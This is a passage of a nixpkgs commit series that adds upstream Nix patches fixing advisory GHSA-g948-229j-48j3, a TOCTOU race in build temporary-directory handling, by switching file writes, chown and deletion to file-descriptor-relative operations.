]; self_attribute_name = "nix_2_26"; }; diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch new file mode 100644 index 000000000000..985e7b29e53f --- /dev/null +++ b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.26.patch @@ -0,0 +1,463 @@ +From 787e012f26761e1455e711ab4ceedaa2c740621c Mon Sep 17 00:00:00 2001 +From: Eelco Dolstra +Date: Thu, 19 Jun 2025 16:20:34 +0200 +Subject: [PATCH] Fixes for GHSA-g948-229j-48j3 +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Squashed commit of the following: + +commit 04fff3a637d455cbb1d75937a235950e43008db9 +Author: Eelco Dolstra +Date: Thu Jun 12 12:30:32 2025 +0200 + + Chown structured attr files safely + +commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5 +Author: Eelco Dolstra +Date: Thu Jun 12 12:14:04 2025 +0200 + + Replace 'bool sync' with an enum for clarity + + And drop writeFileAndSync(). + +commit 7ae0141f328d8e8e1094be24665789c05f974ba6 +Author: Eelco Dolstra +Date: Thu Jun 12 11:35:28 2025 +0200 + + Drop guessOrInventPathFromFD() + + No need to do hacky stuff like that when we already know the original path. + +commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08 +Author: Eelco Dolstra +Date: Thu Jun 12 11:15:58 2025 +0200 + + Tweak comment + +commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848 +Author: Raito Bezarius +Date: Thu Mar 27 12:22:26 2025 +0100 + + libstore: ensure that temporary directory is always 0o000 before deletion + + In the case the deletion fails, we should ensure that the temporary + directory cannot be used for nefarious purposes. + + Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120 + Signed-off-by: Raito Bezarius + +commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e +Author: Raito Bezarius +Date: Wed Mar 26 12:42:55 2025 +0100 + + libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds + + When calling `_deletePath` with a parent file descriptor, `openat` is + made effective by using relative paths to the directory file descriptor. + + To avoid the problem, the signature is changed to resist misuse with an + assert in the prologue of the function. + + Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 + Signed-off-by: Raito Bezarius + +commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea +Author: Raito Bezarius +Date: Wed Mar 26 01:07:47 2025 +0100 + + libstore: ensure that `passAsFile` is created in the original temp dir + + This ensures that `passAsFile` data is created inside the expected + temporary build directory by `openat()` from the parent directory file + descriptor. + + This avoids a TOCTOU which is part of the attack chain of CVE-????. + + Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a + Signed-off-by: Raito Bezarius + +commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018 +Author: Raito Bezarius +Date: Wed Mar 26 01:06:03 2025 +0100 + + libutil: writeFile variant for file descriptors + + `writeFile` lose its `sync` boolean flag to make things simpler. + + A new `writeFileAndSync` function is created and all call sites are + converted to it. + + Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 + Signed-off-by: Raito Bezarius + +commit 732bd9b98cabf4aaf95a01fd318923de303f9996 +Author: Raito Bezarius +Date: Wed Mar 26 01:05:34 2025 +0100 + + libstore: chown to builder variant for file descriptors + + We use it immediately for the build temporary directory. + + Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 + Signed-off-by: Raito Bezarius + +commit 962c65f8dcd5570dd92c72370a862c7b38942e0d +Author: Raito Bezarius +Date: Wed Mar 26 01:04:59 2025 +0100 + + libstore: open build directory as a dirfd as well + + We now keep around a proper AutoCloseFD around the temporary directory + which we plan to use for openat operations and avoiding the build + directory being swapped out while we are doing something else. + + Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a + Signed-off-by: Raito Bezarius + +commit c9b42462b75b5a37ee6564c2b53cff186c8323da +Author: Raito Bezarius +Date: Wed Mar 26 01:04:12 2025 +0100 + + libutil: guess or invent a path from file descriptors + + This is useful for certain error recovery paths (no pun intended) that + does not thread through the original path name. + + Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e + Signed-off-by: Raito Bezarius + +Signed-off-by: Jörg Thalheim +--- + src/libstore/local-store.cc | 6 +-- + .../unix/build/local-derivation-goal.cc | 46 ++++++++++++++---- + .../unix/build/local-derivation-goal.hh | 20 ++++++++ + src/libutil/file-content-address.cc | 2 +- + src/libutil/file-system.cc | 47 +++++++++++-------- + src/libutil/file-system.hh | 14 ++++-- + 6 files changed, 99 insertions(+), 36 deletions(-) + +diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc +index 9a7a941b6..c0c808e0a 100644 +--- a/src/libstore/local-store.cc ++++ b/src/libstore/local-store.cc +@@ -116,7 +116,7 @@ LocalStore::LocalStore( + state->stmts = std::make_unique(); + + /* Create missing state directories if they don't already exist. */ +- createDirs(realStoreDir); ++ createDirs(realStoreDir.get()); + if (readOnly) { + experimentalFeatureSettings.require(Xp::ReadOnlyLocalStore); + } else { +@@ -248,7 +248,7 @@ LocalStore::LocalStore( + else if (curSchema == 0) { /* new store */ + curSchema = nixSchemaVersion; + openDB(*state, true); +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes); + } + + else if (curSchema < nixSchemaVersion) { +@@ -299,7 +299,7 @@ LocalStore::LocalStore( + txn.commit(); + } + +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes); + + lockFile(globalLock.get(), ltRead, true); + } +diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc +index 5b9bc0bb0..80309e332 100644 +--- a/src/libstore/unix/build/local-derivation-goal.cc ++++ b/src/libstore/unix/build/local-derivation-goal.cc +@@ -559,7 +559,14 @@ void LocalDerivationGoal::startBuilder() + } else { + tmpDir = topTmpDir; + } +- chownToBuilder(tmpDir); ++ ++ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to ++ POSIX semantics.*/ ++ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; ++ if (!tmpDirFd) ++ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); ++ ++ chownToBuilder(tmpDirFd.get(), tmpDir); + + for (auto & [outputName, status] : initialOutputs) { + /* Set scratch path we'll actually use during the build. +@@ -1157,9 +1164,7 @@ void LocalDerivationGoal::initTmpDir() + } else { + auto hash = hashString(HashAlgorithm::SHA256, i.first); + std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false); +- Path p = tmpDir + "/" + fn; +- writeFile(p, rewriteStrings(i.second, inputRewrites)); +- chownToBuilder(p); ++ writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites)); + env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; + } + } +@@ -1264,11 +1269,9 @@ void LocalDerivationGoal::writeStructuredAttrs() + + auto jsonSh = writeStructuredAttrsShell(json); + +- writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites)); +- chownToBuilder(tmpDir + "/.attrs.sh"); ++ writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites)); + env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh"; +- writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites)); +- chownToBuilder(tmpDir + "/.attrs.json"); ++ writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites)); + env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json"; + } + } +@@ -1779,6 +1782,24 @@ void setupSeccomp() + #endif + } + ++void LocalDerivationGoal::chownToBuilder(int fd, const Path & path) ++{ ++ if (!buildUser) return; ++ if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1) ++ throw SysError("cannot change ownership of file '%1%'", path); ++} ++ ++void LocalDerivationGoal::writeBuilderFile( ++ const std::string & name, ++ std::string_view contents) ++{ ++ auto path = std::filesystem::path(tmpDir) / name; ++ AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; ++ if (!fd) ++ throw SysError("creating file %s", path); ++ writeFile(fd, path, contents); ++ chownToBuilder(fd.get(), path); ++} + + void LocalDerivationGoal::runChild() + { +@@ -3038,6 +3059,15 @@ void LocalDerivationGoal::checkOutputs(const std::mapisBuiltin()) { +diff --git a/src/libstore/unix/build/local-derivation-goal.hh b/src/libstore/unix/build/local-derivation-goal.hh +index 1ea247661..74a1e1c50 100644 +--- a/src/libstore/unix/build/local-derivation-goal.hh ++++ b/src/libstore/unix/build/local-derivation-goal.hh +@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal + */ + Path topTmpDir; + ++ /** ++ * The file descriptor of the temporary directory. ++ */ ++ AutoCloseFD tmpDirFd; ++ + /** + * The path of the temporary directory in the sandbox. + */ +@@ -244,9 +249,24 @@ struct LocalDerivationGoal : public DerivationGoal + + /** + * Make a file owned by the builder. ++ * ++ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. ++ * It's only safe to call in a child of a directory only visible to the owner. + */ + void chownToBuilder(const Path & path); + ++ /** ++ * Make a file owned by the builder addressed by its file descriptor. ++ */ ++ void chownToBuilder(int fd, const Path & path); ++ ++ /** ++ * Create a file in `tmpDir` owned by the builder. ++ */ ++ void writeBuilderFile( ++ const std::string & name, ++ std::string_view contents); ++ + int getChildStatus() override; + + /** +diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc +index 69301d9c8..2b6839346 100644 +--- a/src/libutil/file-content-address.cc ++++ b/src/libutil/file-content-address.cc +@@ -93,7 +93,7 @@ void restorePath( + { + switch (method) { + case FileSerialisationMethod::Flat: +- writeFile(path, source, 0666, startFsync); ++ writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No); + break; + case FileSerialisationMethod::NixArchive: + restorePath(path, source, startFsync); +diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc +index 6fe93b63a..b3183f495 100644 +--- a/src/libutil/file-system.cc ++++ b/src/libutil/file-system.cc +@@ -258,7 +258,7 @@ void readFile(const Path & path, Sink & sink) + } + + +-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) ++void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync) + { + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT + // TODO +@@ -268,22 +268,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) + , mode)); + if (!fd) + throw SysError("opening file '%1%'", path); ++ ++ writeFile(fd, path, s, mode, sync); ++ ++ /* Close explicitly to propagate the exceptions. */ ++ fd.close(); ++} ++ ++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync) ++{ ++ assert(fd); + try { + writeFull(fd.get(), s); ++ ++ if (sync == FsSync::Yes) ++ fd.fsync(); ++ + } catch (Error & e) { +- e.addTrace({}, "writing file '%1%'", path); ++ e.addTrace({}, "writing file '%1%'", origPath); + throw; + } +- if (sync) +- fd.fsync(); +- // Explicitly close to make sure exceptions are propagated. +- fd.close(); +- if (sync) +- syncParent(path); + } + +- +-void writeFile(const Path & path, Source & source, mode_t mode, bool sync) ++void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync) + { + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT + // TODO +@@ -307,11 +314,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) + e.addTrace({}, "writing file '%1%'", path); + throw; + } +- if (sync) ++ if (sync == FsSync::Yes) + fd.fsync(); + // Explicitly close to make sure exceptions are propagated. + fd.close(); +- if (sync) ++ if (sync == FsSync::Yes) + syncParent(path); + } + +@@ -374,7 +381,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + #ifndef _WIN32 + checkInterrupt(); + +- std::string name(baseNameOf(path.native())); ++ std::string name(path.filename()); ++ assert(name != "." && name != ".." && !name.empty()); + + struct stat st; + if (fstatat(parentfd, name.c_str(), &st, +@@ -415,7 +423,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + throw SysError("chmod %1%", path); + } + +- int fd = openat(parentfd, path.c_str(), O_RDONLY); ++ int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW); + if (fd == -1) + throw SysError("opening directory %1%", path); + AutoCloseDir dir(fdopendir(fd)); +@@ -427,7 +435,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + checkInterrupt(); + std::string childName = dirent->d_name; + if (childName == "." || childName == "..") continue; +- _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); ++ _deletePath(dirfd(dir.get()), path / childName, bytesFreed); + } + if (errno) throw SysError("reading directory %1%", path); + } +@@ -445,14 +453,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + + static void _deletePath(const fs::path & path, uint64_t & bytesFreed) + { +- Path dir = dirOf(path.string()); +- if (dir == "") +- dir = "/"; ++ assert(path.is_absolute()); ++ assert(path.parent_path() != path); + +- AutoCloseFD dirfd = toDescriptor(open(dir.c_str(), O_RDONLY)); ++ AutoCloseFD dirfd = toDescriptor(open(path.parent_path().string().c_str(), O_RDONLY)); + if (!dirfd) { + if (errno == ENOENT) return; +- throw SysError("opening directory '%1%'", path); ++ throw SysError("opening directory %s", path.parent_path()); + } + + _deletePath(dirfd.get(), path, bytesFreed); +diff --git a/src/libutil/file-system.hh b/src/libutil/file-system.hh +index 204907339..b2db8869e 100644 +--- a/src/libutil/file-system.hh ++++ b/src/libutil/file-system.hh +@@ -194,21 +194,27 @@ std::string readFile(const Path & path); + std::string readFile(const std::filesystem::path & path); + void readFile(const Path & path, Sink & sink); + ++enum struct FsSync { Yes, No }; ++ + /** + * Write a string to a file. + */ +-void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, bool sync = false); +-static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, bool sync = false) ++void writeFile(const Path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); ++ ++static inline void writeFile(const std::filesystem::path & path, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No) + { + return writeFile(path.string(), s, mode, sync); + } + +-void writeFile(const Path & path, Source & source, mode_t mode = 0666, bool sync = false); +-static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, bool sync = false) ++void writeFile(const Path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No); ++ ++static inline void writeFile(const std::filesystem::path & path, Source & source, mode_t mode = 0666, FsSync sync = FsSync::No) + { + return writeFile(path.string(), source, mode, sync); + } + ++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode = 0666, FsSync sync = FsSync::No); ++ + /** + * Flush a path's parent directory to disk. + */ +-- +2.49.0 + From a1eacc0a2ce4a4de3c7fd523ddb26c2d95a01fd1 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?J=C3=B6rg=20Thalheim?= Date: Sun, 22 Jun 2025 18:51:23 +0200 Subject: [PATCH 328/390] nix_2_28: add patch for GHSA-g948-229j-48j3 This addresses a TOCTOU (Time-of-Check to Time-of-Use) vulnerability in Nix's build system that could potentially allow privilege escalation or unauthorized file access during the build process. The patch includes: - Safe file operations using file descriptors - Secure temporary directory handling - Safe chown operations - PassAsFile security improvements - Path validation fixes --- pkgs/tools/package-management/nix/default.nix | 1 + .../patches/ghsa-g948-229j-48j3-2.28.patch | 454 ++++++++++++++++++ 2 files changed, 455 insertions(+) create mode 100644 pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch diff --git a/pkgs/tools/package-management/nix/default.nix b/pkgs/tools/package-management/nix/default.nix index 0096e514d7b5..97fb2eac30ef 100644 --- a/pkgs/tools/package-management/nix/default.nix +++ b/pkgs/tools/package-management/nix/default.nix @@ -185,6 +185,7 @@ lib.makeExtensible ( nix_2_28 = commonMeson { version = "2.28.3"; hash = "sha256-TjZp5ITSUvNRAzNznmkZRQxNRzMLiSAplz4bV2T8cbs="; + patches = [ ./patches/ghsa-g948-229j-48j3-2.28.patch ]; self_attribute_name = "nix_2_28"; }; diff --git a/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch new file mode 100644 index 000000000000..7de531128279 --- /dev/null +++ b/pkgs/tools/package-management/nix/patches/ghsa-g948-229j-48j3-2.28.patch @@ -0,0 +1,454 @@ +From 24c1aa735a40d3bf5361755fa10ac0e577a55eed Mon Sep 17 00:00:00 2001 +From: Eelco Dolstra +Date: Thu, 19 Jun 2025 16:20:34 +0200 +Subject: [PATCH] Fixes for GHSA-g948-229j-48j3 +MIME-Version: 1.0 +Content-Type: text/plain; charset=UTF-8 +Content-Transfer-Encoding: 8bit + +Squashed commit of the following: + +commit 04fff3a637d455cbb1d75937a235950e43008db9 +Author: Eelco Dolstra +Date: Thu Jun 12 12:30:32 2025 +0200 + + Chown structured attr files safely + +commit 5417ad445e414c649d0cfc71a05661c7bf8f3ef5 +Author: Eelco Dolstra +Date: Thu Jun 12 12:14:04 2025 +0200 + + Replace 'bool sync' with an enum for clarity + + And drop writeFileAndSync(). + +commit 7ae0141f328d8e8e1094be24665789c05f974ba6 +Author: Eelco Dolstra +Date: Thu Jun 12 11:35:28 2025 +0200 + + Drop guessOrInventPathFromFD() + + No need to do hacky stuff like that when we already know the original path. + +commit 45b05098bd019da7c57cd4227a89bfd0fa65bb08 +Author: Eelco Dolstra +Date: Thu Jun 12 11:15:58 2025 +0200 + + Tweak comment + +commit 0af15b31209d1b7ec8addfae9a1a6b60d8f35848 +Author: Raito Bezarius +Date: Thu Mar 27 12:22:26 2025 +0100 + + libstore: ensure that temporary directory is always 0o000 before deletion + + In the case the deletion fails, we should ensure that the temporary + directory cannot be used for nefarious purposes. + + Change-Id: I498a2dd0999a74195d13642f44a5de1e69d46120 + Signed-off-by: Raito Bezarius + +commit 2c20fa37b15cfa03ac6a1a6a47cdb2ed66c0827e +Author: Raito Bezarius +Date: Wed Mar 26 12:42:55 2025 +0100 + + libutil: ensure that `_deletePath` does NOT use absolute paths with dirfds + + When calling `_deletePath` with a parent file descriptor, `openat` is + made effective by using relative paths to the directory file descriptor. + + To avoid the problem, the signature is changed to resist misuse with an + assert in the prologue of the function. + + Change-Id: I6b3fc766bad2afe54dc27d47d1df3873e188de96 + Signed-off-by: Raito Bezarius + +commit d3c370bbcae48bb825ce19fd0f73bb4eefd2c9ea +Author: Raito Bezarius +Date: Wed Mar 26 01:07:47 2025 +0100 + + libstore: ensure that `passAsFile` is created in the original temp dir + + This ensures that `passAsFile` data is created inside the expected + temporary build directory by `openat()` from the parent directory file + descriptor. + + This avoids a TOCTOU which is part of the attack chain of CVE-????. + + Change-Id: Ie5273446c4a19403088d0389ae8e3f473af8879a + Signed-off-by: Raito Bezarius + +commit 45d3598724f932d024ef6bc2ffb00c1bb90e6018 +Author: Raito Bezarius +Date: Wed Mar 26 01:06:03 2025 +0100 + + libutil: writeFile variant for file descriptors + + `writeFile` lose its `sync` boolean flag to make things simpler. + + A new `writeFileAndSync` function is created and all call sites are + converted to it. + + Change-Id: Ib871a5283a9c047db1e4fe48a241506e4aab9192 + Signed-off-by: Raito Bezarius + +commit 732bd9b98cabf4aaf95a01fd318923de303f9996 +Author: Raito Bezarius +Date: Wed Mar 26 01:05:34 2025 +0100 + + libstore: chown to builder variant for file descriptors + + We use it immediately for the build temporary directory. + + Change-Id: I180193c63a2b98721f5fb8e542c4e39c099bb947 + Signed-off-by: Raito Bezarius + +commit 962c65f8dcd5570dd92c72370a862c7b38942e0d +Author: Raito Bezarius +Date: Wed Mar 26 01:04:59 2025 +0100 + + libstore: open build directory as a dirfd as well + + We now keep around a proper AutoCloseFD around the temporary directory + which we plan to use for openat operations and avoiding the build + directory being swapped out while we are doing something else. + + Change-Id: I18d387b0f123ebf2d20c6405cd47ebadc5505f2a + Signed-off-by: Raito Bezarius + +commit c9b42462b75b5a37ee6564c2b53cff186c8323da +Author: Raito Bezarius +Date: Wed Mar 26 01:04:12 2025 +0100 + + libutil: guess or invent a path from file descriptors + + This is useful for certain error recovery paths (no pun intended) that + does not thread through the original path name. + + Change-Id: I2d800740cb4f9912e64c923120d3f977c58ccb7e + Signed-off-by: Raito Bezarius + +Signed-off-by: Jörg Thalheim +--- + src/libstore/local-store.cc | 4 +- + .../unix/build/local-derivation-goal.cc | 46 ++++++++++++++---- + .../nix/store/build/local-derivation-goal.hh | 20 ++++++++ + src/libutil/file-content-address.cc | 2 +- + src/libutil/file-system.cc | 47 +++++++++++-------- + src/libutil/include/nix/util/file-system.hh | 14 ++++-- + 6 files changed, 98 insertions(+), 35 deletions(-) + +diff --git a/src/libstore/local-store.cc b/src/libstore/local-store.cc +index f3bee6953..eddc87ef9 100644 +--- a/src/libstore/local-store.cc ++++ b/src/libstore/local-store.cc +@@ -249,7 +249,7 @@ LocalStore::LocalStore( + else if (curSchema == 0) { /* new store */ + curSchema = nixSchemaVersion; + openDB(*state, true); +- writeFile(schemaPath, fmt("%1%", curSchema), 0666, true); ++ writeFile(schemaPath, fmt("%1%", curSchema), 0666, FsSync::Yes); + } + + else if (curSchema < nixSchemaVersion) { +@@ -300,7 +300,7 @@ LocalStore::LocalStore( + txn.commit(); + } + +- writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, true); ++ writeFile(schemaPath, fmt("%1%", nixSchemaVersion), 0666, FsSync::Yes); + + lockFile(globalLock.get(), ltRead, true); + } +diff --git a/src/libstore/unix/build/local-derivation-goal.cc b/src/libstore/unix/build/local-derivation-goal.cc +index 9edb6fb0f..a0442d0b8 100644 +--- a/src/libstore/unix/build/local-derivation-goal.cc ++++ b/src/libstore/unix/build/local-derivation-goal.cc +@@ -567,7 +567,14 @@ void LocalDerivationGoal::startBuilder() + } else { + tmpDir = topTmpDir; + } +- chownToBuilder(tmpDir); ++ ++ /* The TOCTOU between the previous mkdir call and this open call is unavoidable due to ++ POSIX semantics.*/ ++ tmpDirFd = AutoCloseFD{open(tmpDir.c_str(), O_RDONLY | O_NOFOLLOW | O_DIRECTORY)}; ++ if (!tmpDirFd) ++ throw SysError("failed to open the build temporary directory descriptor '%1%'", tmpDir); ++ ++ chownToBuilder(tmpDirFd.get(), tmpDir); + + for (auto & [outputName, status] : initialOutputs) { + /* Set scratch path we'll actually use during the build. +@@ -1159,9 +1166,7 @@ void LocalDerivationGoal::initTmpDir() + } else { + auto hash = hashString(HashAlgorithm::SHA256, i.first); + std::string fn = ".attr-" + hash.to_string(HashFormat::Nix32, false); +- Path p = tmpDir + "/" + fn; +- writeFile(p, rewriteStrings(i.second, inputRewrites)); +- chownToBuilder(p); ++ writeBuilderFile(fn, rewriteStrings(i.second, inputRewrites)); + env[i.first + "Path"] = tmpDirInSandbox + "/" + fn; + } + } +@@ -1266,11 +1271,9 @@ void LocalDerivationGoal::writeStructuredAttrs() + + auto jsonSh = writeStructuredAttrsShell(json); + +- writeFile(tmpDir + "/.attrs.sh", rewriteStrings(jsonSh, inputRewrites)); +- chownToBuilder(tmpDir + "/.attrs.sh"); ++ writeBuilderFile(".attrs.sh", rewriteStrings(jsonSh, inputRewrites)); + env["NIX_ATTRS_SH_FILE"] = tmpDirInSandbox + "/.attrs.sh"; +- writeFile(tmpDir + "/.attrs.json", rewriteStrings(json.dump(), inputRewrites)); +- chownToBuilder(tmpDir + "/.attrs.json"); ++ writeBuilderFile(".attrs.json", rewriteStrings(json.dump(), inputRewrites)); + env["NIX_ATTRS_JSON_FILE"] = tmpDirInSandbox + "/.attrs.json"; + } + } +@@ -1781,6 +1784,24 @@ void setupSeccomp() + #endif + } + ++void LocalDerivationGoal::chownToBuilder(int fd, const Path & path) ++{ ++ if (!buildUser) return; ++ if (fchown(fd, buildUser->getUID(), buildUser->getGID()) == -1) ++ throw SysError("cannot change ownership of file '%1%'", path); ++} ++ ++void LocalDerivationGoal::writeBuilderFile( ++ const std::string & name, ++ std::string_view contents) ++{ ++ auto path = std::filesystem::path(tmpDir) / name; ++ AutoCloseFD fd{openat(tmpDirFd.get(), name.c_str(), O_WRONLY | O_TRUNC | O_CREAT | O_CLOEXEC | O_EXCL | O_NOFOLLOW, 0666)}; ++ if (!fd) ++ throw SysError("creating file %s", path); ++ writeFile(fd, path, contents); ++ chownToBuilder(fd.get(), path); ++} + + void LocalDerivationGoal::runChild() + { +@@ -3000,6 +3021,15 @@ void LocalDerivationGoal::checkOutputs(const std::mapisBuiltin()) { +diff --git a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh +index 795286a01..fb62e3ca4 100644 +--- a/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh ++++ b/src/libstore/unix/include/nix/store/build/local-derivation-goal.hh +@@ -37,6 +37,11 @@ struct LocalDerivationGoal : public DerivationGoal + */ + Path topTmpDir; + ++ /** ++ * The file descriptor of the temporary directory. ++ */ ++ AutoCloseFD tmpDirFd; ++ + /** + * The path of the temporary directory in the sandbox. + */ +@@ -239,9 +244,24 @@ struct LocalDerivationGoal : public DerivationGoal + + /** + * Make a file owned by the builder. ++ * ++ * SAFETY: this function is prone to TOCTOU as it receives a path and not a descriptor. ++ * It's only safe to call in a child of a directory only visible to the owner. + */ + void chownToBuilder(const Path & path); + ++ /** ++ * Make a file owned by the builder addressed by its file descriptor. ++ */ ++ void chownToBuilder(int fd, const Path & path); ++ ++ /** ++ * Create a file in `tmpDir` owned by the builder. ++ */ ++ void writeBuilderFile( ++ const std::string & name, ++ std::string_view contents); ++ + int getChildStatus() override; + + /** +diff --git a/src/libutil/file-content-address.cc b/src/libutil/file-content-address.cc +index 142bc70d5..d95781691 100644 +--- a/src/libutil/file-content-address.cc ++++ b/src/libutil/file-content-address.cc +@@ -93,7 +93,7 @@ void restorePath( + { + switch (method) { + case FileSerialisationMethod::Flat: +- writeFile(path, source, 0666, startFsync); ++ writeFile(path, source, 0666, startFsync ? FsSync::Yes : FsSync::No); + break; + case FileSerialisationMethod::NixArchive: + restorePath(path, source, startFsync); +diff --git a/src/libutil/file-system.cc b/src/libutil/file-system.cc +index 9ce3682f1..204a63c4e 100644 +--- a/src/libutil/file-system.cc ++++ b/src/libutil/file-system.cc +@@ -298,7 +298,7 @@ void readFile(const Path & path, Sink & sink) + } + + +-void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) ++void writeFile(const Path & path, std::string_view s, mode_t mode, FsSync sync) + { + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT + // TODO +@@ -308,22 +308,29 @@ void writeFile(const Path & path, std::string_view s, mode_t mode, bool sync) + , mode)); + if (!fd) + throw SysError("opening file '%1%'", path); ++ ++ writeFile(fd, path, s, mode, sync); ++ ++ /* Close explicitly to propagate the exceptions. */ ++ fd.close(); ++} ++ ++void writeFile(AutoCloseFD & fd, const Path & origPath, std::string_view s, mode_t mode, FsSync sync) ++{ ++ assert(fd); + try { + writeFull(fd.get(), s); ++ ++ if (sync == FsSync::Yes) ++ fd.fsync(); ++ + } catch (Error & e) { +- e.addTrace({}, "writing file '%1%'", path); ++ e.addTrace({}, "writing file '%1%'", origPath); + throw; + } +- if (sync) +- fd.fsync(); +- // Explicitly close to make sure exceptions are propagated. +- fd.close(); +- if (sync) +- syncParent(path); + } + +- +-void writeFile(const Path & path, Source & source, mode_t mode, bool sync) ++void writeFile(const Path & path, Source & source, mode_t mode, FsSync sync) + { + AutoCloseFD fd = toDescriptor(open(path.c_str(), O_WRONLY | O_TRUNC | O_CREAT + // TODO +@@ -347,11 +354,11 @@ void writeFile(const Path & path, Source & source, mode_t mode, bool sync) + e.addTrace({}, "writing file '%1%'", path); + throw; + } +- if (sync) ++ if (sync == FsSync::Yes) + fd.fsync(); + // Explicitly close to make sure exceptions are propagated. + fd.close(); +- if (sync) ++ if (sync == FsSync::Yes) + syncParent(path); + } + +@@ -414,7 +421,8 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + #ifndef _WIN32 + checkInterrupt(); + +- std::string name(baseNameOf(path.native())); ++ std::string name(path.filename()); ++ assert(name != "." && name != ".." && !name.empty()); + + struct stat st; + if (fstatat(parentfd, name.c_str(), &st, +@@ -455,7 +463,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + throw SysError("chmod %1%", path); + } + +- int fd = openat(parentfd, path.c_str(), O_RDONLY); ++ int fd = openat(parentfd, name.c_str(), O_RDONLY | O_DIRECTORY | O_NOFOLLOW); + if (fd == -1) + throw SysError("opening directory %1%", path); + AutoCloseDir dir(fdopendir(fd)); +@@ -467,7 +475,7 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + checkInterrupt(); + std::string childName = dirent->d_name; + if (childName == "." || childName == "..") continue; +- _deletePath(dirfd(dir.get()), path + "/" + childName, bytesFreed); ++ _deletePath(dirfd(dir.get()), path / childName, bytesFreed); + } + if (errno) throw SysError("reading directory %1%", path); + } +@@ -485,14 +493,13 @@ static void _deletePath(Descriptor parentfd, const fs::path & path, uint64_t & b + + static void _deletePath(const fs::path & path, uint64_t & bytesFreed) + { +- Path dir 